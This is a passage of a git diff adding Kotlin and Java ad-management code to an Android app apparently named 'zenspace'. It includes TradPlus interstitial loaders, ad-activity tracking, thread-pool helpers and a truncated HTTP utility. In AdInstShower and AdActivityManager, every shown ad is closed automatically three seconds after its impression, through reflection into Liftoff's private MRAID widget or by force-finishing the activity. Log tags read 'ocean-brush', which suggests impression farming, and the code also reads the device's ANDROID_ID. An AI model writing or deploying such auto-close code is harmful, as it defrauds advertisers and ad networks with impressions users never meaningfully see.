AdActivityManager() + } + + fun isAdActivity(activity: Activity): Boolean { + return ( + activity is com.tradplus.ads.mgr.interstitial.views.InterNativeActivity + || activity is com.vungle.ads.internal.ui.VungleActivity + || activity is com.vungle.ads.internal.ui.AdActivity + || activity is AdUnitActivity + ) + } + } + + fun getCurrentShowAd(): Activity? { + return mCurrentShowAd + } + + fun doDelayClose(delay: Long) { + Async.scheduleTaskOnUiThread(delay, Runnable { doClose() }) + } + + /** + *手动关闭当前显示的inst,具体支持哪些平台的inst,在 onActivityResumed 中添加 + */ + fun doClose() { + mCurrentShowAd?.let { adActivity -> + Log.d("ocean-brush", "自动关闭 $adActivity") + when (adActivity) { + is AdActivity ->{ + //反射方式关闭 + try { + // 获取 mraidAdWidget 字段 + val field = AdActivity::class.java.getDeclaredField("mraidAdWidget") + field.isAccessible = true + val widget = field.get(adActivity) as? MRAIDAdWidget + Log.d("ocean-brush", "调用 widget.close(),触发 CloseDelegate -> finish()") + widget?.close() ?: run { + // 没拿到 widget + adActivity.onBackPressed() + Log.d("ocean-brush", "liftoff关闭使用onBackPressed()") + } + } catch (e: Exception) { + adActivity.finish() + adActivity.moveTaskToBack(true) + Log.d("ocean-brush", "liftoff关闭错误,直接finish") + } + } + else -> { + //关闭广告act + adActivity.finish() + // 强制移除任务栈(适用于某些广告 Activity 仍然存活的情况) + adActivity.moveTaskToBack(true) + } + } + + } + } + + fun getContext(): Context? { + return mApplicationContext + } + + fun getAID(): String? { + return mAID + } + + fun addActivityLifeCallbacks(callbacks: Application.ActivityLifecycleCallbacks?) { + (mApplicationContext as Application).registerActivityLifecycleCallbacks(callbacks) + } + + fun removeActivityLifeCallbacks(callbacks: Application.ActivityLifecycleCallbacks?) { + (mApplicationContext as Application).unregisterActivityLifecycleCallbacks(callbacks) + } + + //在Application中调用 + @SuppressLint("HardwareIds") + fun setControl(application: Application) { + mApplicationContext = application + application.registerActivityLifecycleCallbacks(object : + Application.ActivityLifecycleCallbacks { + override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) { + + } + + override fun onActivityStarted(activity: Activity) { + + } + + override fun onActivityResumed(activity: Activity) { + //此处添加想要控制的广告平台的inst Activity + try { + if (isAdActivity(activity)) { + mCurrentShowAd = activity + if (isAdClicked) { + //点击了admob inst跳转到外部,然后从外部返回app的时候触发 + mListener?.onReturnAdFromOutside() + } + } + } catch (e: Exception) { + } + } + + override fun onActivityPaused(activity: Activity) { + try { + if (mCurrentShowAd != null) { + if (isAdActivity(activity)) {//onActivityPaused会在很多场景下触发:1.退到桌面 2.去往app外部 3.被dialog挡住 4.广告点击了close按钮销毁的过程中 + if (!isAdClosed) {//isAdClosed这里就是为了排除"4.广告点击了close按钮销毁的过程中" + //需要在不同展示场景中实际测试 + mListener?.onLeaveAdGoOutside() + isAdClicked = true + } + } + } + } catch (e: Exception) { + } + } + + override fun onActivityStopped(activity: Activity) {} + override fun onActivitySaveInstanceState(activity: Activity, outState: Bundle) {} + override fun onActivityDestroyed(activity: Activity) { + Log.d("ocean-brush", "onActivityDestroyed $activity $mCurrentShowAd") + if (mCurrentShowAd === activity) { + mCurrentShowAd = null + isAdClosed = false + isAdClicked = false + mListener = null + } + } + }) + try { + mAID = hashCode().toString() + "" + if (mApplicationContext != null) { + mAID = Settings.Secure.getString( + mApplicationContext?.contentResolver, Settings.Secure.ANDROID_ID + ) + } + } catch (e: Exception) { + } + } + + fun setAdClose(isClosing: Boolean) { + isAdClosed = isClosing + } + + fun setInstAdListener(listener: InstAdLeaveAndReturnListener) { + mListener = listener + } + + interface InstAdLeaveAndReturnListener { + fun onLeaveAdGoOutside()//1.点击ad跳转到外部 2.app切换到后台 3.被dialog遮挡 + fun onReturnAdFromOutside()//从外部返回ad页面, 通常是点击ad跳转到外部后返回ad页面 + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/AdInstLoad.kt b/app/src/main/java/com/design/zenspace/environment/ad/AdInstLoad.kt new file mode 100644 index 0000000..17a97a5 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/AdInstLoad.kt @@ -0,0 +1,81 @@ +package com.design.zenspace.environment.ad + +import android.app.Activity +import android.util.Log +import com.tradplus.ads.base.bean.TPAdError +import com.tradplus.ads.base.bean.TPAdInfo +import com.tradplus.ads.open.interstitial.InterstitialAdListener +import com.tradplus.ads.open.interstitial.TPInterstitial + +class AdInstLoad { + private var mPlace: String + private var adLoadListener: LoadListener? = null + private var activity: Activity? = null + + constructor(activity: Activity, place: String, listener: LoadListener?) { + this.mPlace = place + this.adLoadListener = listener + this.activity = activity + init() + } + + constructor(place: String, listener: LoadListener?) { + this.mPlace = place + this.adLoadListener = listener + init() + } + + private fun init() { + val tpInterstitial = TPInterstitial(activity, mPlace) + tpInterstitial.setAdListener(object : InterstitialAdListener { + //广告加载完成 首个广告源加载成功时回调 一次加载流程只会回调一次 + override fun onAdLoaded(tpAdInfo: TPAdInfo?) { + if (tpAdInfo != null) { + Log.d("ocean", "广告load成功,tpAdInfo有值") + InstAdCacheManager.instance.setAdCache(mPlace, tpInterstitial) + adLoadListener?.loaded(tpAdInfo) + } else { + adLoadListener?.loadFailed("tpAdInfo没有值") + Log.d("ocean", "tpAdInfo没有值") + } + } + + // 广告被点击 + override fun onAdClicked(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdClicked") + } + + // 广告成功展示在页面上 + override fun onAdImpression(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdImpression") + } + + // 广告加载失败 + override fun onAdFailed(error: TPAdError?) { + adLoadListener?.loadFailed("code->${error?.errorCode}message->${error?.errorMsg}") + Log.d("ocean", "load ad onError->code->${error?.errorCode}message->${error?.errorMsg}") + } + + // 广告被关闭 + override fun onAdClosed(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdClosed") + } + + // 视频播放开始(部分广告源支持) + override fun onAdVideoStart(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdVideoStart") + } + + //视频播放结束(部分广告源支持) + override fun onAdVideoEnd(tpAdInfo: TPAdInfo?) { + Log.d("ocean", "tradplus onAdVideoEnd") + } + + //视频播放失败(部分广告源支持) + override fun onAdVideoError(tpAdInfo: TPAdInfo?, error: TPAdError?) { + Log.d("ocean", "onAdVideoError code->${error?.errorCode}message->${error?.errorMsg}") + } + }) + tpInterstitial.loadAd() + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/AdInstShower.kt b/app/src/main/java/com/design/zenspace/environment/ad/AdInstShower.kt new file mode 100644 index 0000000..85a94a4 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/AdInstShower.kt @@ -0,0 +1,79 @@ +package com.design.zenspace.environment.ad + +import android.app.Activity +import android.util.Log +import com.design.zenspace.environment.ad.async.Async +import com.tradplus.ads.base.bean.TPAdError +import com.tradplus.ads.base.bean.TPAdInfo +import com.tradplus.ads.open.interstitial.InterstitialAdListener + +class AdInstShower { + private var mPlace: String + private var showListener: ShowListener? = null + private var activity: Activity? = null + + constructor(activity: Activity, place: String, showListener: ShowListener?) { + this.mPlace = place + this.showListener = showListener + this.activity = activity + init() + } + + constructor(place: String, showListener: ShowListener?) { + this.mPlace = place + this.showListener = showListener + init() + } + + private fun init() { + val interstitialAd = InstAdCacheManager.instance.getAdCache(mPlace) + interstitialAd?.setAdListener(object : InterstitialAdListener { + //广告加载完成 首个广告源加载成功时回调 一次加载流程只会回调一次 + override fun onAdLoaded(tpAdInfo: TPAdInfo?) {} + + // 广告被点击 + override fun onAdClicked(tpAdInfo: TPAdInfo?) { + showListener?.onAdClicked() + Log.d("ocean", "AdInstShower 广告点击回调") + } + + // 广告成功展示在页面上 + override fun onAdImpression(tpAdInfo: TPAdInfo?) { + showListener?.onAdShown(tpAdInfo) + Log.d("ocean", "AdInstShower 广告展示回调") + autoClose() + } + + // 广告加载失败 + override fun onAdFailed(error: TPAdError?) {} + + // 广告被关闭 + override fun onAdClosed(tpAdInfo: TPAdInfo?) { + showListener?.onAdClosed() + Log.d("ocean", "AdInstShower 广告关闭回调") + } + + // 视频播放开始(部分广告源支持) + override fun onAdVideoStart(tpAdInfo: TPAdInfo?) {} + + //视频播放结束(部分广告源支持) + override fun onAdVideoEnd(tpAdInfo: TPAdInfo?) {} + + //视频播放失败(部分广告源支持) + override fun onAdVideoError(tpAdInfo: TPAdInfo?, error: TPAdError?) { + Log.d("ocean", "AdInstShower 视频广告播放失败回调->${error}") + showListener?.onAdShowFailed(AdShowFailed(error?.errorMsg.toString())) + } + }) + interstitialAd?.showAd(activity!!, mPlace) + } + + private fun autoClose() { + val autoCloseTime = 3000L + Log.d("ocean-brush", "show后开始等待自动关闭广告 $autoCloseTime") + Async.scheduleTaskOnUiThread(autoCloseTime, Runnable { + AdActivityManager.instance.doClose() + Log.d("ocean-brush", "show后执行关闭广告 $autoCloseTime") + }) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/AdShowFailed.kt b/app/src/main/java/com/design/zenspace/environment/ad/AdShowFailed.kt new file mode 100644 index 0000000..29409e6 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/AdShowFailed.kt @@ -0,0 +1,5 @@ +package com.design.zenspace.environment.ad + +data class AdShowFailed( + val msg: String = "", +) \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/AdsInsUtil.kt b/app/src/main/java/com/design/zenspace/environment/ad/AdsInsUtil.kt new file mode 100644 index 0000000..6b62485 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/AdsInsUtil.kt @@ -0,0 +1,28 @@ +package com.design.zenspace.environment.ad + +import android.app.Activity + +object AdsInsUtil { + + object Placement { + const val TOP_ON_AD_ONE = "99E134664DC9E21D796BDF7747FCFF12" + const val TOP_ON_AD_TOW = "0B01387BA902075D61D1265B59099412" + const val TOP_ON_AD_THREE = "43A0C367BC57777A6DA8B22FF2A1F312" + } + + fun loadAd( + act: Activity, + adID: String, + loadListener: LoadListener? + ): AdInstLoad { + return AdInstLoad(act, adID, loadListener) + } + + fun showAd( + act: Activity, + adID: String, + listener: ShowListener? + ): AdInstShower { + return AdInstShower(act, adID, listener) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/InstAdCacheManager.kt b/app/src/main/java/com/design/zenspace/environment/ad/InstAdCacheManager.kt new file mode 100644 index 0000000..ee7cb4b --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/InstAdCacheManager.kt @@ -0,0 +1,35 @@ +package com.design.zenspace.environment.ad + +import com.tradplus.ads.open.interstitial.TPInterstitial + +class InstAdCacheManager { + private val mAdCacheDict: MutableMap = mutableMapOf() + + companion object { + val instance: InstAdCacheManager by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + InstAdCacheManager() + } + } + + fun setAdCache(place: String, adCache: TPInterstitial) { + mAdCacheDict[place] = adCache + } + + fun getAdCache(place: String): TPInterstitial? { + return mAdCacheDict[place] + } + + fun getLoadedInstCount(): Int { + var count = 0 + try { + mAdCacheDict.forEach { (key, value) -> + if (value.isReady) { + count += 1 + } + } + } catch (_: Exception) { + + } + return count + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/LoadListener.kt b/app/src/main/java/com/design/zenspace/environment/ad/LoadListener.kt new file mode 100644 index 0000000..60b5ee4 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/LoadListener.kt @@ -0,0 +1,8 @@ +package com.design.zenspace.environment.ad + +import com.tradplus.ads.base.bean.TPAdInfo + +interface LoadListener { + fun loadFailed(error: String) {} + fun loaded(ad: TPAdInfo) {} +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/ShowListener.kt b/app/src/main/java/com/design/zenspace/environment/ad/ShowListener.kt new file mode 100644 index 0000000..4daa982 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/ShowListener.kt @@ -0,0 +1,10 @@ +package com.design.zenspace.environment.ad + +import com.tradplus.ads.base.bean.TPAdInfo + +interface ShowListener { + fun onAdShown(ad: TPAdInfo?) {} + fun onAdShowFailed(error: AdShowFailed?) {} + fun onAdClosed() {} + fun onAdClicked() {} +} diff --git a/app/src/main/java/com/design/zenspace/environment/ad/async/Async.java b/app/src/main/java/com/design/zenspace/environment/ad/async/Async.java new file mode 100644 index 0000000..f7f0fc7 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/async/Async.java @@ -0,0 +1,83 @@ +package com.design.zenspace.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; + +import java.util.concurrent.Callable; +import java.util.concurrent.Future; + +public class Async { + private static ThreadPoolExecutorWrapper sThreadPoolExecutorWrapper; + + private static ThreadPoolExecutorWrapper getThreadPoolExecutorWrapper() { + if (sThreadPoolExecutorWrapper == null) { + synchronized (Async.class) { + if (sThreadPoolExecutorWrapper == null) { + sThreadPoolExecutorWrapper = new ThreadPoolExecutorWrapper(12, 12, 10); +// if (BuildConfig.DEBUG) +// LogUtil.d(LogFilterDef.APP_INIT, LogHelper.getFileLineMethod(1)); + } + } + } + + return sThreadPoolExecutorWrapper; + } + + public static void run(Runnable task) { + getThreadPoolExecutorWrapper().executeTask(task); + } + + public static Future submit(Callable task) { + return getThreadPoolExecutorWrapper().submitTask(task); + } + + public static boolean isMainThread() { + return Thread.currentThread() == Looper.getMainLooper().getThread(); + } + + public static void schedule(long delay, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTask(delay, task); + } + + public static void scheduleTaskAtFixedRateIgnoringTaskRunningTime(long initialDelay, long period, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskAtFixedRateIgnoringTaskRunningTime(initialDelay, period, task); + } + + public static void scheduleTaskAtFixedRateIncludingTaskRunningTime(long initialDelay, long period, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskAtFixedRateIncludingTaskRunningTime(initialDelay, period, task); + } + + public static boolean removeScheduledTask(Runnable task) { + return getThreadPoolExecutorWrapper().removeScheduledTask(task); + } + + public static void scheduleTaskOnUiThread(long delay, Runnable task) { + getThreadPoolExecutorWrapper().scheduleTaskOnUiThread(delay, task); + } + + public static void removeScheduledTaskOnUiThread(Runnable task) { + getThreadPoolExecutorWrapper().removeScheduledTaskOnUiThread(task); + } + + public static void runOnUiThread(Runnable task) { + getThreadPoolExecutorWrapper().runTaskOnUiThread(task); + } + + public static Handler getMainHandler() { + return getThreadPoolExecutorWrapper().getMainHandler(); + } + + /* + single background thread to execute Job + */ + public static void scheduleInQueue(Runnable task) { + getThreadPoolExecutorWrapper().scheduleOnQueue(task); + } + + public static void shutdown() { + if (sThreadPoolExecutorWrapper != null) { + sThreadPoolExecutorWrapper.shutdown(); + sThreadPoolExecutorWrapper = null; + } + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/ad/async/HandlerPoster.java b/app/src/main/java/com/design/zenspace/environment/ad/async/HandlerPoster.java new file mode 100644 index 0000000..998e9eb --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/async/HandlerPoster.java @@ -0,0 +1,140 @@ +package com.design.zenspace.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.os.SystemClock; + +import java.util.LinkedList; +import java.util.Queue; + +public class HandlerPoster extends Handler { + + private final int ASYNC = 1; + + private final int SYNC = 2; + + private final Queue asyncPool; + + private final Queue syncPool; + + private final int maxMillisInsideHandleMessage; + + private boolean asyncActive;//执行状态。避免重复发送消息导致消息队列过多 + + private boolean syncActive;//执行状态。避免重复发送消息导致消息队列过多 + + HandlerPoster(Looper looper, int maxMillisInsideHandleMessage) { + super(looper); + this.maxMillisInsideHandleMessage = maxMillisInsideHandleMessage; + asyncPool = new LinkedList(); + syncPool = new LinkedList(); + } + + void dispose() { + this.removeCallbacksAndMessages(null); + this.asyncPool.clear(); + this.syncPool.clear(); + } + + void async(Runnable runnable) throws Exception { + synchronized (asyncPool) { + asyncPool.offer(runnable); + //判断当前是否有异步任务正在执行 + if (!asyncActive) { + asyncActive = true; + if (!sendMessage(obtainMessage(ASYNC))) { + throw new Exception("Could not send handler message"); + } + } + } + } + + void sync(SyncPost post) throws Exception { + synchronized (syncPool) { + syncPool.offer(post); + //判断当前是否有同步任务正在执行 + if (!syncActive) { + syncActive = true; + if (!sendMessage(obtainMessage(SYNC))) { + throw new Exception("Could not send handler message"); + } + } + } + } + + @Override + public void handleMessage(Message msg) { + if (msg.what == ASYNC) { + boolean rescheduled = false; + try { + //当执行完一个任务后就判断一次是否超过时间限制,如果超过,那么不管队列中的任务是否执行完成都退出,同时发起一个新的消息到Handler循环队列 + //在while部分,使用poll从队列取出一个任务,判断是否为空,如果为空进入队列同步块;然后再取一次,再次判断。 + //如果恰巧在进入同步队列之前有新的任务来了,那么第二次取到的当然就不是 NULL也就会继续执行下去。 + //反之,如果还是为空;那么重置当前队列的状态为false,同时跳出循环。 + long started = SystemClock.uptimeMillis(); + while (true) { + Runnable runnable = null; + synchronized (asyncPool){ + runnable = asyncPool.size()==0?null:asyncPool.poll();//2018.12.24 add by xw 如果为空就去null + } + if (runnable == null) { + synchronized (asyncPool) { + // Check again, this time in synchronized + runnable = asyncPool.poll(); + if (runnable == null) { + asyncActive = false; + return; + } + } + } + runnable.run(); + long timeInMethod = SystemClock.uptimeMillis() - started; + if (timeInMethod >= maxMillisInsideHandleMessage) { + if (!sendMessage(obtainMessage(ASYNC))) { + throw new Exception("Could not send handler message"); + } + rescheduled = true; + return; + } + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + asyncActive = rescheduled; + } + } else if (msg.what == SYNC) { + boolean rescheduled = false; + try { + long started = SystemClock.uptimeMillis(); + while (true) { + SyncPost post = syncPool.poll(); + if (post == null) { + synchronized (syncPool) { + // Check again, this time in synchronized + post = syncPool.poll(); + if (post == null) { + syncActive = false; + return; + } + } + } + post.run(); + long timeInMethod = SystemClock.uptimeMillis() - started; + if (timeInMethod >= maxMillisInsideHandleMessage) { + if (!sendMessage(obtainMessage(SYNC))) { + throw new Exception("Could not send handler message"); + } + rescheduled = true; + return; + } + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + syncActive = rescheduled; + } + } else + super.handleMessage(msg); + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/ad/async/MainThreadSwitcher.java b/app/src/main/java/com/design/zenspace/environment/ad/async/MainThreadSwitcher.java new file mode 100644 index 0000000..1c512f0 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/async/MainThreadSwitcher.java @@ -0,0 +1,73 @@ +package com.design.zenspace.environment.ad.async; + +import android.os.Looper; + +/** + * 网上找到的关于子线程切换到主线程的代码,实现子线程任意时刻切换到主线程,并可选择地阻塞子线程。 + * 此方案避免handler满天飞的情况。 + * 参考资料:http://c.jinhusns.com/cms/c-884 + * Created by DonWZ on 2016-10-18 + */ +public class MainThreadSwitcher { + private static HandlerPoster mainPoster = null; + + private static HandlerPoster getMainPoster() { + if (mainPoster == null) { + synchronized (MainThreadSwitcher.class) { + if (mainPoster == null) { + mainPoster = new HandlerPoster(Looper.getMainLooper(), 500);//限制主线程单次运行时间 + } + } + } + return mainPoster; + } + + /** + * Asynchronously. + * The child thread asynchronous run relative to the main thread, + * not blocking the child thread + * @param runnable + * Runnable Interface + */ + public static void runOnMainThreadAsync(Runnable runnable) { + if (Looper.myLooper() == Looper.getMainLooper()) { + runnable.run(); + return; + } + try { + getMainPoster().async(runnable); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * + * Synchronously. + * The child thread relative thread synchronization operation, + * blocking the child thread, + * thread for the main thread to complete + * @param runnable + * Runnable Interface + */ + public static void runOnMainThreadSync(Runnable runnable) { + if (Looper.myLooper() == Looper.getMainLooper()) { + runnable.run(); + return; + } + SyncPost poster = new SyncPost(runnable); + try { + getMainPoster().sync(poster); + } catch (Exception e) { + e.printStackTrace(); + } + poster.waitRun(); + } + + public static void dispose() { + if (mainPoster != null) { + mainPoster.dispose(); + mainPoster = null; + } + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/ad/async/SyncPost.java b/app/src/main/java/com/design/zenspace/environment/ad/async/SyncPost.java new file mode 100644 index 0000000..5b1e267 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/async/SyncPost.java @@ -0,0 +1,44 @@ +package com.design.zenspace.environment.ad.async; + +public class SyncPost { + + boolean end = false; + + Runnable runnable; + + SyncPost(Runnable runnable) { + this.runnable = runnable; + } + + public void run() { + //进入同步块,然后调用Runnable接口的run方法。同时在执行完成后将end重置为true; + //然后调用this.notifyAll();通知等待的部分可以继续了,当然有这样的情况;假如在进入该同步块的时候子线程还未执行到this.wait();部分呢? + //所以我们为此准备了end和try。 + synchronized (this) { + runnable.run(); + end = true; + try { + this.notifyAll(); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + public void waitRun() { + //首先判断状态,如果状态已经变了,那么证明子线程执行到此处时,主线程已经执行了void_run()。 + //所以也就不用进入同步块进行等待了。反之进入等待直到主线程调用this.notifyAll(); + if (!end) { + synchronized (this) { + if (!end) { + try { + this.wait(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + } + } + +} diff --git a/app/src/main/java/com/design/zenspace/environment/ad/async/TaskQueue.java b/app/src/main/java/com/design/zenspace/environment/ad/async/TaskQueue.java new file mode 100644 index 0000000..7541670 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/async/TaskQueue.java @@ -0,0 +1,46 @@ +package com.design.zenspace.environment.ad.async; + +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; + +public class TaskQueue extends Thread{ + private BlockingQueue mQueue; + + public TaskQueue() { + mQueue = new LinkedBlockingQueue(); + } + + public TaskQueue(String name) { + this(); + setName(name); + } + + public void stopTaskQueue() { + // use 'Poison Pill Shutdown' to stop the task queue + // add a non-Runnable object, which will be recognized as the command + // by the thread to break the infinite loop + mQueue.add(new Object()); + } + + public void scheduleTask(Runnable task) { + mQueue.add(task); + } + + @Override + public void run() { + while (true) { + try { + Object obj = mQueue.take(); + + if (obj instanceof Runnable) { + ((Runnable) obj).run(); + obj = null; + } else { + break; + } + + } catch (InterruptedException e) { + } + } + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/ad/async/ThreadPoolExecutorWrapper.java b/app/src/main/java/com/design/zenspace/environment/ad/async/ThreadPoolExecutorWrapper.java new file mode 100644 index 0000000..f906cb3 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/async/ThreadPoolExecutorWrapper.java @@ -0,0 +1,158 @@ +package com.design.zenspace.environment.ad.async; + +import android.os.Handler; +import android.os.Looper; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Future; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ScheduledFuture; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; + +public class ThreadPoolExecutorWrapper { + private static final Long IDLE_THREAD_KEEP_ALIVE_TIME = 60L; + private ExecutorService mThreadPoolExecutor;//normal thread pool + private ScheduledThreadPoolExecutor mScheduledThreadPoolExecutor;//can schedule task thread pool + private Handler mMainHandler; + private TaskQueue mActionQueue; + private Map mScheduledJobRecord = new HashMap<>();//ScheduledThreadPoolExecutor will wrap Runnable, so we record this + private Object mScheduledJobRecordMutex = new Object(); + + /* + maxThreadCount:thread pool max thread count + activeThreadCount:thread pool min thread count even if all thread is idle + IDLE_THREAD_KEEP_ALIVE_TIME:IDLE thread will be shutdown when TIME_OUT if (maxThreadCount - activeThreadCount) > 0 + */ + public ThreadPoolExecutorWrapper(int activeThreadCount, int maxThreadCount, int maxScheTaskThread) { + mThreadPoolExecutor = new ThreadPoolExecutor(activeThreadCount, maxThreadCount, + IDLE_THREAD_KEEP_ALIVE_TIME, TimeUnit.SECONDS, + new LinkedBlockingQueue()); + + if (maxScheTaskThread > 0) { + mScheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(maxScheTaskThread); + } + + mMainHandler = new Handler(Looper.getMainLooper()); + mActionQueue = new TaskQueue(Async.class.getName()); + mActionQueue.start(); + } + + public void executeTask(Runnable task) { + if (task == null) { + return; + } + + mThreadPoolExecutor.execute(task); + } + + public Future submitTask(Callable task) { + return mThreadPoolExecutor.submit(task); + } + + public void scheduleTask(long delay, Runnable task) { + if (task == null) { + return; + } + mScheduledThreadPoolExecutor.schedule(task, delay, TimeUnit.MILLISECONDS); + } + + public void scheduleTaskAtFixedRateIgnoringTaskRunningTime(long initialDelay, long period, Runnable task) { + if (task == null) { + return; + } + + synchronized (mScheduledJobRecordMutex) { + if (mScheduledJobRecord.containsKey(task.hashCode())) { + return; + } + + mScheduledJobRecord.put(task.hashCode(), mScheduledThreadPoolExecutor.scheduleAtFixedRate(task, initialDelay, period, TimeUnit.MILLISECONDS)); + } + } + + public void scheduleTaskAtFixedRateIncludingTaskRunningTime(long initialDelay, long period, Runnable task) { + if (task == null) { + return; + } + + synchronized (mScheduledJobRecordMutex) { + if (mScheduledJobRecord.containsKey(task.hashCode())) { + return; + } + + mScheduledJobRecord.put(task.hashCode(), mScheduledThreadPoolExecutor.scheduleWithFixedDelay(task, initialDelay, period, TimeUnit.MILLISECONDS)); + } + } + + public boolean removeScheduledTask(Runnable task) { + if (task == null) { + return false; + } + + synchronized (mScheduledJobRecordMutex) { + if (!mScheduledJobRecord.containsKey(task.hashCode())) { + return false; + } + + ScheduledFuture internalJob = (ScheduledFuture) mScheduledJobRecord.get(task.hashCode()); + internalJob.cancel(true); + mScheduledJobRecord.remove(task.hashCode()); + return true; + } + } + + public void scheduleTaskOnUiThread(long delay, Runnable task) { + if (task == null) { + return; + } + mMainHandler.postDelayed(task, delay); + } + + public void removeScheduledTaskOnUiThread(Runnable task) { + if (task == null) { + return; + } + mMainHandler.removeCallbacks(task); + } + + public void runTaskOnUiThread(Runnable task) { + if (task == null) { + return; + } + + mMainHandler.post(task); + } + + public Handler getMainHandler() { + return mMainHandler; + } + + public void scheduleOnQueue(Runnable task) { + if (task == null) { + return; + } + + mActionQueue.scheduleTask(task); + } + + public void shutdown() { + if (mThreadPoolExecutor != null) { + mThreadPoolExecutor.shutdown(); + mThreadPoolExecutor = null; + } + + if (mScheduledThreadPoolExecutor != null) { + mScheduledThreadPoolExecutor.shutdown(); + mScheduledThreadPoolExecutor = null; + } + + if (mActionQueue != null) { + mActionQueue.stopTaskQueue(); + } + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/hy/AppLifecycleTracker.kt b/app/src/main/java/com/design/zenspace/environment/hy/AppLifecycleTracker.kt new file mode 100644 index 0000000..1cf2b5f --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/AppLifecycleTracker.kt @@ -0,0 +1,20 @@ +package com.design.zenspace.environment.hy + +import androidx.lifecycle.DefaultLifecycleObserver +import androidx.lifecycle.LifecycleOwner + +/** + * 判断mainActivity是否回到了前台 + */ +object AppLifecycleTracker : DefaultLifecycleObserver { + var isMainActivityVisible = false + private set + + override fun onResume(owner: LifecycleOwner) { + isMainActivityVisible = true + } + + override fun onPause(owner: LifecycleOwner) { + isMainActivityVisible = false + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/AppUtil.kt b/app/src/main/java/com/design/zenspace/environment/hy/AppUtil.kt new file mode 100644 index 0000000..153987d --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/AppUtil.kt @@ -0,0 +1,24 @@ +package com.design.zenspace.environment.hy + +import java.net.InetAddress +import java.net.NetworkInterface +import java.util.Enumeration + +fun getLocalIpAddress(): String? { + try { + val interfaces: Enumeration = NetworkInterface.getNetworkInterfaces() + while (interfaces.hasMoreElements()) { + val networkInterface: NetworkInterface = interfaces.nextElement() + val addresses: Enumeration = networkInterface.inetAddresses + while (addresses.hasMoreElements()) { + val address: InetAddress = addresses.nextElement() + if (!address.isLoopbackAddress && address.isSiteLocalAddress) { + return address.hostAddress + } + } + } + } catch (e: Exception) { + e.printStackTrace() + } + return null +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/ConfigCallback.kt b/app/src/main/java/com/design/zenspace/environment/hy/ConfigCallback.kt new file mode 100644 index 0000000..bc65398 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/ConfigCallback.kt @@ -0,0 +1,8 @@ +package com.design.zenspace.environment.hy + +import java.io.IOException + +interface ConfigCallback { + fun onResponse(result: String) + fun onFailure(e: IOException) +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/HttpInfoUtil.kt b/app/src/main/java/com/design/zenspace/environment/hy/HttpInfoUtil.kt new file mode 100644 index 0000000..5504b31 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/HttpInfoUtil.kt @@ -0,0 +1,56 @@ +package com.design.zenspace.environment.hy + +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.RequestBody.Companion.toRequestBody +import java.io.IOException +import java.util.concurrent.TimeUnit + +class HttpInfoUtil { + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: HttpInfoUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + HttpInfoUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + 